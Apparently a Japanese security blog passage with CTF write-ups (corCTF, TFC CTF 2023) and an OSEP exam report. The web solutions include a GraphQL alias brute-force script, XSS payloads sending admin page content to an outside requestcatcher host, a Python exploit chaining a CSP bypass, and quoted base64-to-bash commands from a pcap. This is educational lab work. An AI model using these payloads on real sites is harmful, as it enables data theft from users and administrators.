    resolvers: {
        Query: {
            flag: (_, { pin }) => {
                if (pin != secret) {
                    return 'Wrong!';
                }
                return process.env.FLAG || 'corctf{test}';
            }
        }
    },
    routes: false
});

app.post('/', async (req, res) => {
    if (requests <= 0) {
        return res.send('no u')
    }
    requests --;
    return res.graphql(req.body);
});

総当たりの対策もされていて、攻撃の余地が無さそうに見えるが…
この前出たFlatt Security mini CTF #2での知識が役に立った。
Flatt Security mini CTF #2 Writeups - はまやんはまやんはまやん
aliasを使えば同一種類のクエリを複数個書くことができる。
つまり1リクエストに複数の確認試行ができることになる。
{flag(pin: 1234),flag(pin: 1235)}とやるとエラーになるが、aliasを使い{a:flag(pin: 1234),b:flag(pin: 1235)}とするとエラーにならない。

これで、リクエスト単位では60秒に10個と制限されているが、1リクエストで大量のPIN確認試行を行える。
試すと104個は一気にテストできるので、10回制限と合わせて一気に105個テストでき、必ずフラグを得ることができる。
以下のようなPOCを書くと出力にフラグが含まれてくる。

import requests
import threading
import time

ROOT = 'https://web-force-force-853ab455478306b4.be.ax'

print('[+] waiting to reset the limitation...')
time.sleep(10)

print('[+] START')

for j in range(10):
    payload = "{"
    for i in range(10000):
        x = j * 10000 + i
        payload += f"x{x}:flag(pin:{x}),"
    payload += "}"
    print(requests.post(ROOT + '/', data=payload, headers={'Content-Type':'text/plain;charset=UTF-8'}).text)

print('[+] END')

TFC CTF 2023 Writeups

[web] MCTREE

ポチポチやっていたら解けた。
adminでログインするのがゴール。

ユーザー作成時の挙動してユーザー名にいくつか禁止文字があるようで削除されて登録される。
つまり、test"とするとtestというユーザー名にサニタイズして登録される。
普通にadminで登録しようとするとユーザー名重複で怒られるがadmin"で登録すると重複チェックをすり抜け、
その後のサニタイズ処理でadminになるので、adminユーザーを新規に作る(もしくは上書きかも)ことができる。
後は、ユーザー名をadminにして、パスワードを指定したものを使ってログインするとフラグが得られる。

[web] BABY DUCKY NOTES

warmupレベルのXSSの問題。
Cookieを盗めばいいかーと思ったが、sessionが入っているcookieは HttpOnly属性が付いている。
routes.pyを見ると以下のようにGET /posts/でadminかをチェックしているので、/posts/の内容が盗めればよさそう。

@web.route('/posts/', methods=['GET'])
@auth_required
def posts(username):
    if username != 'admin':
        return jsonify('You must be admin to see all posts!'), 401
    ...

BOTの挙動としてはログイン後に/posts/view/{username}を開く感じ。

client.get(f"http://localhost:1337/login")
time.sleep(3)

client.find_element(By.ID, "username").send_keys('admin')
client.find_element(By.ID, "password").send_keys(os.environ.get("ADMIN_PASSWD"))
client.execute_script("document.getElementById('login-btn').click()")
time.sleep(3)

client.get(f"http://localhost:1337/posts/view/{username}")

/posts/view/{username}について色々確認すると、
posts.htmlの以下部分でXSS可能なことが分かる。

<p> {{post.get('content') | safe}} </p>

特に制約するような部分もないので以下のようなcontentを作って保存して、
adminに報告するとフラグ込みのHTMLソースが得られる。

<img src=1 onerror='fetch("/posts/").then(r=>r.text()).then(z=>navigator.sendBeacon("https://[yours].requestcatcher.com/flag", z))'>

[web] BABY DUCKY NOTES: REVENGE

REVENGE問題なので、前問のソースコードWinMergeを使ってdiffを取ってみると、
database.pyだけ意味のある修正があり、フラグを含むポストのhiddenが1に設定されている。

…特に無印版での自分の解法を回避するものではなかったので、同じpayloadでフラグが得られる。

<img src=1 onerror='fetch("/posts/").then(r=>r.text()).then(z=>navigator.sendBeacon("https://[yours].requestcatcher.com/flag", z))'>

前問はよくよく見るとXSSではなく、GET /posts/view/adminのIDORで取得できたのか。

[web] DUCKY NOTES: PART 3

DUCKY NOTESシリーズで続いている問題なので、前問のソースコードとdiffを取ってみる。
すると、今回はposts.htmlでのXSSが修正されていた。
ソースコードを見返すともう1箇所XSSできそうなポイントがある。
app.pyの例外処理部分である。

@app.errorhandler(Exception)
def handle_error(e):
    if not e.args or "username" not in e.args[0].keys():
        return e, 500
    
    error_date = datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')
    post = e.args[0]
    log_message = f'"{error_date}" {post["username"]} {post["content"]}'

    with open(f"{app.config['LOG_DIR']}{error_date}.txt", 'w') as f:
        f.write(log_message)

    return log_message, 500

例外のメッセージはそのまま出力されているので、ここにXSSコードを仕込むことができればXSSが実行できそうである。
問題はどこで例外を出すかであるが、そういった観点で見ると、やや不自然に例外を出している部分が一部存在している。
その中でもroutes.pyにある以下の部分が悪用可能。

@web.route('/posts/', methods=['GET'])
@auth_required
def posts(username):
    frontend_posts = []
    posts = db_get_all_users_posts()

    for post in posts:
        try:
            frontend_posts += [{'username': post['username'], 
                                'title': post['title'], 
                                'content': post['content']}]
        except:
            raise Exception(post)

    return render_template('posts.html', posts=frontend_posts)

postの内容は比較的外部から差し込みやすいのでExceptionをうまく起こすことができればXSSに持っていけそうではある。
どうやってこのExceptionが呼べそうか考えるが、dictionary型で例外といえば、要素がなかった場合であるため、どこかの要素をnullにできないか考えてみる。
以下のような感じで投稿をすると目的の状況を作り出せた。

POST /api/posts HTTP/1.1
Host: localhost:4444
Content-Length: 84
Content-Type: application/json
Cookie: session=eyJ1c2VybmFtZSI6Ii4uIn0.ZMQVUQ.GX41qogoGA9RQfYWfqZ_Ze_BOz8
Connection: close

{"title":null,"content":"<img src=x onerror=alert(document.domain)>","hidden":false}

titleをnullにすると最終的にExceptionで例外を発生させられる。
その時にpostが送られるが、その中のcontentに含まれるXSSコードがそのまま実行されて、XSSが達成できる。
上記リクエストを投げた後にGET /posts/を見れば確認できる。

後は、管理者にこのリクエストを踏ませるだけであるが、BOTの呼び方を再度確認するとclient.get(f"http://localhost:1337/posts/view/{username}")となっていて、
..みたいなユーザー名になっていれば、GET /posts/へのリクエストに変更させることができそうである。
そういうユーザー名が作れるかバリデーション処理を見てみると…

USERNAME_REGEX = re.compile('^[A-za-z0-9\.]{2,}$')

ちょうどできるようになっている!
ということで、ユーザー名を..にしたアカウントを作成して、nullを使った例外でのXSSテクを併用して以下のHTMLを実行させればフラグが得られる。

<img src=1 onerror='fetch("/posts/view/admin").then(r=>r.text()).then(z=>navigator.sendBeacon("https://[yours].requestcatcher.com/flag", z))'>

[web] DUCKY NOTES: ENDGAME

前問とのソースコード比較をするとapp.pyに以下が追加されている。

@app.after_request
def add_header(response):
    response.headers['X-Frame-Options'] = 'SAMEORIGIN'
    response.headers['Content-Security-Policy'] = "default-src 'self'; object-src 'none';"
    return response

default-srcがselfになっているのが厄介な部分。
CSPで制限されてはいるが、XSS自体はまだ可能である。
前問と基本方針は同じなのだが、もう1つ怪しい点を利用してCSP Bypassを行う。

selfと言えば、どこかにjavasciptコードを置いて、<script src=置いたjsコードパス></script>ができればselfに該当してCSP Bypassができる。
どこかに自由に文字列が置けないか探すと、XSS向けに使ってきたログの出力先がstatic以下になっている。
よって、/static/logs/[日時].txtの形で比較的任意の文字列が置けることになる。
これは非常に使えそう。jsコードとして認識させることはできないだろうか。
フォーマットは以下の通り。

log_message = f'"{error_date}" {post["username"]} {post["content"]}'

つまり、

"2023-07-28 20:19:57" testuser testcontent

という形でログが残る。
先頭の文字列はそのまま文字列として認識されてくれるが、
testuserのような普通のユーザー名が来ると、jsの構文としては壊れる。
ここでユーザー名にドットが使えることが役に立つ。
.toStringというユーザー名を使い、contentを工夫すると、任意のjavascriptコードをうめこみつつ、正しいjsの構文で認識させることが可能。
以下のようなログの形を目指す。

"2023-07-28 20:19:57" .toString ();[任意のjsコード];//

これで前半はtostringだけして何もないコードを実行させる体にでき、
後半で任意のjsコードが実行可能になる。

これでパーツが揃ったので、以下のような流れで攻撃を行う。POCコードもその後に付けておいたが、適当に書きすぎてtime.sleepが多いので消して読むと読みやすいと思う。

  1. [セッション1] ユーザー名.toStringのアカウント作成
  2. [セッション1] titleがnullでcontentに();[任意のjsコード];//としたポスト作成
  3. [セッション2] ユーザー名..のアカウント作成
  4. [セッション2] adminに報告。これで例外が発生し、ログが生成される
  5. GET /をするとサーバーの現在時刻が分かるので、そこを起点に軽い全探索をして、ログのファイルパスを特定
  6. [セッション1] ポストを全消し(しないと、意図せぬ所で例外が起こる)
  7. [セッション1] titleがnullでcontentに<script src="特定したjsコードとして実行可能なログのパス"></script>としたポスト作成
  8. [セッション2] adminに報告。これで例外が発生し、scriptタグが実行、ないし、ログに含まれる任意のjsコードが動く
import requests
import time
import re
import datetime

ROOT='http://challs.tfcctf.com:32701'
xss='fetch("/posts/view/admin").then(r=>r.text()).then(z=>{location.href = "https://[yours].requestcatcher.com/flag_" + btoa(z)})'

s1 = requests.Session()
s1.post(ROOT + '/api/register', json={'username':'.toString','password':'a'})
time.sleep(1)
s1.post(ROOT + '/api/login', json={'username':'.toString','password':'a'})
time.sleep(1)
s1.delete(ROOT + '/api/posts/all')
time.sleep(1)
s1.post(ROOT + '/api/posts', json={'title':None,'content':f'();{xss};//',"hidden":False})
time.sleep(1)

s2 = requests.Session()
s2.post(ROOT + '/api/register', json={'username':'..','password':'a'})
time.sleep(1)
s2.post(ROOT + '/api/login', json={'username':'..','password':'a'})
time.sleep(1)
s2.post(ROOT + '/api/report')
time.sleep(1)

print(f"[+] waiting admin ops.....")
time.sleep(10)

rawtext = requests.get(ROOT + '/').text
time.sleep(1)
current_time_str = re.search(r'(\d{4}-\d{2}-\d{2} \d{2}:\d{2}:\d{2})', rawtext)[0]
current_time = datetime.datetime.strptime(current_time_str, '%Y-%m-%d %H:%M:%S')
script_filename = ''
for minus in range(20):
    t = current_time - datetime.timedelta(seconds=minus)
    if requests.get(ROOT + '/static/logs/' + str(t) + '.txt').status_code == 200:
        time.sleep(1)
        script_filename = str(t) + '.txt'
        break

assert 0 < len(script_filename)

s1.delete(ROOT + '/api/posts/all')
time.sleep(1)
s1.post(ROOT + '/api/posts', json={'title':None,'content':f'<script src="/static/logs/{script_filename}"></script>',"hidden":False})
time.sleep(1)

s2.post(ROOT + '/api/report')
time.sleep(1)

print(f"[+] waiting admin ops.....")

[web] COOKIE STORE

BOTが入力ボックスにフラグを入力してくれるのでそれを窃取する問題。
以下のようにBOTは動く。

fields = urllib.parse.quote(fields)
client.get(f"http://localhost:1337/form_builder?fields={fields}")

time.sleep(2)
try:
    client.find_element(By.ID, "title").send_keys(FLAG)
except:
    pass
client.execute_script("""document.querySelector('input[type="submit"]').click();""")

GET /form_builderに任意のfieldsの値を与えて使わせることができる。
ここでは以下のような形でクエリストリングから文字列を取り出して使用される。

const urlParams = new URLSearchParams(window.location.search);
const fields = urlParams.get('fields');

let form_html = '';
let fields_list = [];
if (fields) {
    fields_list = fields.split(',');
    fields_list.forEach(element => {
        form_html += `<div class="mb-4">
            <label for="${element}" class="block text-gray-700 font-bold mb-2">${element}</label>
            <input type="text" name="${element}" id="${element}" class="shadow appearance-none border rounded w-full py-2 px-3 text-gray-700 leading-tight focus:outline-none focus:shadow-outline">
        </div>`;
    });
}
// This will sanitize the input
document.querySelector('#form_builder').setHTML(form_html);

ここでsetHTMLが使われているのがミソでコメントにもあるように単純なXSSコードなどは使用できない。
BOTの挙動からすればformの送信先を自分たちの受け手にするのが要求されているように見える。
なので、formタグを一旦閉じて、新しくaction属性を変更したformタグを作って…と思ったが、setHTMLによってうまく動かない。
うーんと思って調査を進めると

: フォーム要素 - HTML: ハイパーテキストマークアップ言語 | MDNでかなりいい情報が得られる。

action
フォーム経由で送信された情報を処理するプログラムの URL。この値は <button>、<input type="submit">、<input type="image"> の formaction 属性によって上書きすることが可能です。この属性は method="dialog" が設定されている場合は無視されます。

submitのformactionを使うとうまく送信先を変更させることができた。
以下をfieldsとして送信する。

<input type='submit' value='Submit' formaction='https://[yours].requestcatcher.com/get'>

まず、属性値の値をシングルクオートで囲うことで、form_htmlに埋め込むときにダブルクオートで囲われている部分で完全に文字列としてふるまうことができる。
具体的には、form_htmlでの+=での代入文の右辺値にあるfor="${element}"みたいな部分に配慮している。
仮にダブルクオートを使うと、この辺の構造が壊れて面倒なことになるのでシングルクオートで囲っている。
後は特に配慮することはない。最終的には以下のような出力となる。

<div class="mb-4">
<label for="<input type='submit' value='Submit' formaction='https://[yours].requestcatcher.com/get'>" class="block text-gray-700 font-bold mb-2"><input type="submit" value="Submit" formaction="https://[yours].requestcatcher.com/get"></label>
<input type="text" name="<input type='submit' value='Submit' formaction='https://[yours].requestcatcher.com/get'>" id="<input type='submit' value='Submit' formaction='https://[yours].requestcatcher.com/get'>" class="shadow appearance-none border rounded w-full py-2 px-3 text-gray-700 leading-tight focus:outline-none focus:shadow-outline">
</div>

requestcatcherで待ってるとフラグが降ってくる。

[forensics] DOWN BAD

PNGファイルが与えられる。
down-badという名前なので下にフラグがあるんだろうと推測して、
バイナリエディタで開いて、PNGのheightを増やすとフラグが出てきた。
TSXBINで開くと、構造を理解して表示、編集できるので便利。

[forensics] LIST


pcapファイルが与えられる。
適当にパケットを見ているとHTTPでRCEしている現場がある。

No.30120でidコマンドを送信し、No.30122でその結果を受け取っている。
更に眺めていくとecho ""ZmluZCAvaG9tZS9jdGYgLXR5cGUgZiAtbmFtZSAiVCIgMj4vZGV2L251bGw="" | base64 -d | bashのようないかにも怪しいコマンドが見て取れる。
複数個あるので全部持ってこよう。

ZmluZCAvaG9tZS9jdGYgLXR5cGUgZiAtbmFtZSAiVCIgMj4vZGV2L251bGw=
ZmluZCAvaG9tZS9jdGYgLXR5cGUgZiAtbmFtZSAiRiIgMj4vZGV2L251bGw=
ZmluZCAvaG9tZS9jdGYgLXR5cGUgZiAtbmFtZSAiQyIgMj4vZGV2L251bGw=
ZmluZCAvaG9tZS9jdGYgLXR5cGUgZiAtbmFtZSAiQyIgMj4vZGV2L251bGw=
ZmluZCAvaG9tZS9jdGYgLXR5cGUgZiAtbmFtZSAiVCIgMj4vZGV2L251bGw=
ZmluZCAvaG9tZS9jdGYgLXR5cGUgZiAtbmFtZSAiRiIgMj4vZGV2L251bGw=
ZmluZCAvaG9tZS9jdGYgLXR5cGUgZiAtbmFtZSAieyIgMj4vZGV2L251bGw=
ZmluZCAvaG9tZS9jdGYgLXR5cGUgZiAtbmFtZSAiYiIgMj4vZGV2L251bGw=
ZmluZCAvaG9tZS9jdGYgLXR5cGUgZiAtbmFtZSAiNCIgMj4vZGV2L251bGw=
ZmluZCAvaG9tZS9jdGYgLXR5cGUgZiAtbmFtZSAicyIgMj4vZGV2L251bGw=
ZmluZCAvaG9tZS9jdGYgLXR5cGUgZiAtbmFtZSAiMyIgMj4vZGV2L251bGw=
ZmluZCAvaG9tZS9jdGYgLXR5cGUgZiAtbmFtZSAiXyIgMj4vZGV2L251bGw=
ZmluZCAvaG9tZS9jdGYgLXR5cGUgZiAtbmFtZSAiNiIgMj4vZGV2L251bGw=
ZmluZCAvaG9tZS9jdGYgLXR5cGUgZiAtbmFtZSAiNCIgMj4vZGV2L251bGw=
ZmluZCAvaG9tZS9jdGYgLXR5cGUgZiAtbmFtZSAiXyIgMj4vZGV2L251bGw=
ZmluZCAvaG9tZS9jdGYgLXR5cGUgZiAtbmFtZSAiaSIgMj4vZGV2L251bGw=
ZmluZCAvaG9tZS9jdGYgLXR5cGUgZiAtbmFtZSAicyIgMj4vZGV2L251bGw=
ZmluZCAvaG9tZS9jdGYgLXR5cGUgZiAtbmFtZSAibiIgMj4vZGV2L251bGw=
ZmluZCAvaG9tZS9jdGYgLXR5cGUgZiAtbmFtZSAidCIgMj4vZGV2L251bGw=
ZmluZCAvaG9tZS9jdGYgLXR5cGUgZiAtbmFtZSAiXyIgMj4vZGV2L251bGw=
ZmluZCAvaG9tZS9jdGYgLXR5cGUgZiAtbmFtZSAidCIgMj4vZGV2L251bGw=
ZmluZCAvaG9tZS9jdGYgLXR5cGUgZiAtbmFtZSAiaCIgMj4vZGV2L251bA==
ZmluZCAvaG9tZS9jdGYgLXR5cGUgZiAtbmFtZSAiYSIgMj4vZGV2L251bGw=
ZmluZCAvaG9tZS9jdGYgLXR5cGUgZiAtbmFtZSAidCIgMj4vZGV2L251bGw=
ZmluZCAvaG9tZS9jdGYgLXR5cGUgZiAtbmFtZSAiXyIgMj4vZGV2L251bGw=
ZmluZCAvaG9tZS9jdGYgLXR5cGUgZiAtbmFtZSAiZyIgMj4vZGV2L251bGw=
ZmluZCAvaG9tZS9jdGYgLXR5cGUgZiAtbmFtZSAiMCIgMj4vZGV2L251bGw=
ZmluZCAvaG9tZS9jdGYgLXR5cGUgZiAtbmFtZSAiMCIgMj4vZGV2L251bGw=
ZmluZCAvaG9tZS9jdGYgLXR5cGUgZiAtbmFtZSAiZCIgMj4vZGV2L251bGw=
ZmluZCAvaG9tZS9jdGYgLXR5cGUgZiAtbmFtZSAifSIgMj4vZGV2L251bGw=
ZmluZCAvaG9tZS9jdGYgLXR5cGUgZiAtbmFtZSAiVCIgMj4vZGV2L251bGw=
ZmluZCAvaG9tZS9jdGYgLXR5cGUgZiAtbmFtZSAiVCIgMj4vZGV2L251bGw=
ZmluZCAvaG9tZS9jdGYgLXR5cGUgZiAtbmFtZSAiRiIgMj4vZGV2L251bGw=
ZmluZCAvaG9tZS9jdGYgLXR5cGUgZiAtbmFtZSAiQyIgMj4vZGV2L251bGw=
ZmluZCAvaG9tZS9jdGYgLXR5cGUgZiAtbmFtZSAiQyIgMj4vZGV2L251bGw=
ZmluZCAvaG9tZS9jdGYgLXR5cGUgZiAtbmFtZSAiVCIgMj4vZGV2L251bGw=
ZmluZCAvaG9tZS9jdGYgLXR5cGUgZiAtbmFtZSAiRiIgMj4vZGV2L251bGw=
ZmluZCAvaG9tZS9jdGYgLXR5cGUgZiAtbmFtZSAieyIgMj4vZGV2L251bGw=
ZmluZCAvaG9tZS9jdGYgLXR5cGUgZiAtbmFtZSAiYiIgMj4vZGV2L251bGw=
ZmluZCAvaG9tZS9jdGYgLXR5cGUgZiAtbmFtZSAiNCIgMj4vZGV2L251bGw=
ZmluZCAvaG9tZS9jdGYgLXR5cGUgZiAtbmFtZSAicyIgMj4vZGV2L251bGw=
ZmluZCAvaG9tZS9jdGYgLXR5cGUgZiAtbmFtZSAiMyIgMj4vZGV2L251bGw=
ZmluZCAvaG9tZS9jdGYgLXR5cGUgZiAtbmFtZSAiXyIgMj4vZGV2L251bGw=
ZmluZCAvaG9tZS9jdGYgLXR5cGUgZiAtbmFtZSAiNiIgMj4vZGV2L251bGw=
ZmluZCAvaG9tZS9jdGYgLXR5cGUgZiAtbmFtZSAiNCIgMj4vZGV2L251bGw=
ZmluZCAvaG9tZS9jdGYgLXR5cGUgZiAtbmFtZSAiXyIgMj4vZGV2L251bGw=
ZmluZCAvaG9tZS9jdGYgLXR5cGUgZiAtbmFtZSAiaSIgMj4vZGV2L251bGw=
ZmluZCAvaG9tZS9jdGYgLXR5cGUgZiAtbmFtZSAicyIgMj4vZGV2L251bGw=
ZmluZCAvaG9tZS9jdGYgLXR5cGUgZiAtbmFtZSAibiIgMj4vZGV2L251bGw=
ZmluZCAvaG9tZS9jdGYgLXR5cGUgZiAtbmFtZSAidCIgMj4vZGV2L251bGw=
ZmluZCAvaG9tZS9jdGYgLXR5cGUgZiAtbmFtZSAiXyIgMj4vZGV2L251bGw=
ZmluZCAvaG9tZS9jdGYgLXR5cGUgZiAtbmFtZSAidCIgMj4vZGV2L251bGw=
ZmluZCAvaG9tZS9jdGYgLXR5cGUgZiAtbmFtZSAiaCIgMj4vZGV2L251bA==
ZmluZCAvaG9tZS9jdGYgLXR5cGUgZiAtbmFtZSAiYSIgMj4vZGV2L251bGw=
ZmluZCAvaG9tZS9jdGYgLXR5cGUgZiAtbmFtZSAidCIgMj4vZGV2L251bGw=
ZmluZCAvaG9tZS9jdGYgLXR5cGUgZiAtbmFtZSAiXyIgMj4vZGV2L251bGw=
ZmluZCAvaG9tZS9jdGYgLXR5cGUgZiAtbmFtZSAiZyIgMj4vZGV2L251bGw=
ZmluZCAvaG9tZS9jdGYgLXR5cGUgZiAtbmFtZSAiMCIgMj4vZGV2L251bGw=
ZmluZCAvaG9tZS9jdGYgLXR5cGUgZiAtbmFtZSAiMCIgMj4vZGV2L251bGw=
ZmluZCAvaG9tZS9jdGYgLXR5cGUgZiAtbmFtZSAiZCIgMj4vZGV2L251bGw=
ZmluZCAvaG9tZS9jdGYgLXR5cGUgZiAtbmFtZSAifSIgMj4vZGV2L251bGw=

微妙に違う。
デコードすると大部分が find /home/ctf -type f -name "{" 2>/dev/null という形になっていて、
-nameの部分を全部持ってくればフラグが出てくる。

OSEP 合格体験記 2023/07

ナレッジ共有です。

去年のOSCPの合格体験記はこっち
OSCP 合格体験記 2022/05 - はまやんはまやんはまやん

OSEPを受ける前に

  • Windows関連の知識が結構要求される
    • OSCPを終えていれば前提知識としては大丈夫
    • そうでない場合は、HackTheBoxやTryHackMeとかでちょっと補強しておくといいかもしれない
    • アーキテクチャのざっくりとした知識とか、セキュリティ関連のWindowsの仕様とか、x86とx64, managedとunmanaged (CLR向けかNative向けか)
  • 下位資格であるOSCPの必要性について
    • HackTheBoxやTryHackMeに慣れていればOSCPは必須ではない
      • 違いとしてはOSCPでは多くの単一の独立したBoot2Rootをひとまとめにして企業ネットワークっぽくしている感がありますが、OSEPは逆で企業ネットワークがあって、その上で出てくるBoot2Root、もしくは、Lateral Movementを想定している気がします(ちょっと曖昧な表現ですが)
    • OSCPも楽しいので、人生の時間と懐に余裕があるならOSCPもオススメです
    • ちなみに、海外の体験記では、OSCPというよりCRTPの受験を勧めている記事が多いです
  • ウイルス対策を回避するためにプログラミングをする必要がある
    • OSEP受けようと思っている感じならプログラミングと無縁ということはなさそうだが、全くプログラミングしたことない場合はちょっと厳しいかもしれない
    • 教材ではコードを1行ずつ何をしているか説明してくれるので、なんとなく書いたことがあればなんとかなる
    • 対策をするとしたらC#の練習するといいかもだけれど、、、優先度は高くない

OSEPで学べること

  • Windows, Active Directoryに対する更なる理解
    • 超最新のセキュリティ話題はまだ盛り込まれていなかったが、一通り学ばせていただきました
    • 誰かのTweetでAppLockerよりEDR入っている状況の方が実用的では…というのを見かけたが、非常にその通りだと思うが、EDR向けの攻撃については載っていない
  • Defense Evasion
    • どの参加記にも書かれているが、どうセキュリティ対策をかいくぐるかとか、ブルーチームに見つかりにくい攻撃ができるかが一つの大テーマ。より本番に近い環境でどう攻撃を仕掛けるかがミソになる
    • EDR環境があるともっと良かった気もするが無料で揃えるのは難しいか
  • C#, JScript, などなどによるカスタムエクスプロイトコード作り
    • Defense Evasionとも少し絡むが、出来合いのコードはすぐにWindows Defenderに消されるので、独自のカスタムコードを作ることになる
    • Windows Defenderとのせめぎあいがかなり楽しいし、かなりイライラする
  • あと、何故かmssqlへの攻撃に詳しくなります(なぜこれほど手厚いのかはよく分かっていない)

ラボ攻略について

  • OSEP Exam FAQ – Offensive Security Support Portal まずはこれを読んでおきましょう
  • 基本的にOSEPの教科書に書かれていることを実践する場所なので、詰まったら、(全部そうではないですが)教科書のどこかに書かれていることをするんだろうなぁと思うといいです
  • 使えるフォーラム
    • 公式フォーラムがあり、ラボについて教えあったりしています
    • あと、最近は公式のDiscordで受験者向けのチャネルに案内してもらう機能がありました。終盤になって知って、入れてもらったのですが、結構色々書いてありました
  • 攻略しながら本試験で使うチートシートを作ること
    • 色々な受験記で言われていることですね
    • 本番はもちろんノーヒントで多数の選択肢から1つの正解パスをひねり出してくる必要があります。網羅性が大事
  • どうラボ環境に取組むか
    • いつやってもいい。自分は教材を読みながら気が向いたらChallenge環境をやっていた
    • 各チャレンジでは複数台環境が与えられ、一台を攻撃後、横展開して攻撃を進めていく
    • 契約できる期間が90Daysしかなく渋々90Daysで買いましたが、かなり余裕がありました。早い人なら2週間くらいで全完しそう
    • どれくらい余裕があったかというと、途中でゼルダが発売になっても大丈夫なくらい余裕がありました

他の体験記

日本語の体験記はそれほど多くありませんが、とても細かく書かれていて「かなり」参考になります。
どれもこれもうんうんうんうんという感じなので、記載内容の論理和を取って参考にすると良いと思います。

以下、参考になったと感じた海外の受験期です。

タイムライン

  • ここまでの前提としては…
    • OSCP取得済み
    • HackTheBox Guru, TryHackMe 0xD GOD
      • Boot2Root系はそこそこやってきたつもり
    • CTFではWebカテゴリを良くやっている
  • 2023-04-24 PEN-300開始
    • 90 Daysを遂に買ってしまう
  • 2023-05-12 ゼルダの伝説 ティアーズ オブ ザ キングダム発売
    • 恐らく、各地の祠で培ったパズル力が試験に生きている
  • 2023-05-30 帯状疱疹発症
    • (ティアキンやりすぎて帯状疱疹になったんじゃないかと微妙に思っている)
    • ゼルダから1カ月くらいは無の期間を過ごしていました
  • 2023-07-02 LabsのChallenges全完
    • 取組み時間でいうと1カ月ちょっとくらいやってたんじゃないかなと思います
    • そのうち、最初の1手目のシェル起動に使えるセキュリティ対策回避対策マシマシのゴールデンエクスプロイト手順を作るのに2週間くらいやってた気がします
  • 試験日まで
  • 2023-07-17 OSEP試験完了、レポート提出
  • 2023-07-26 合格通知!

試験について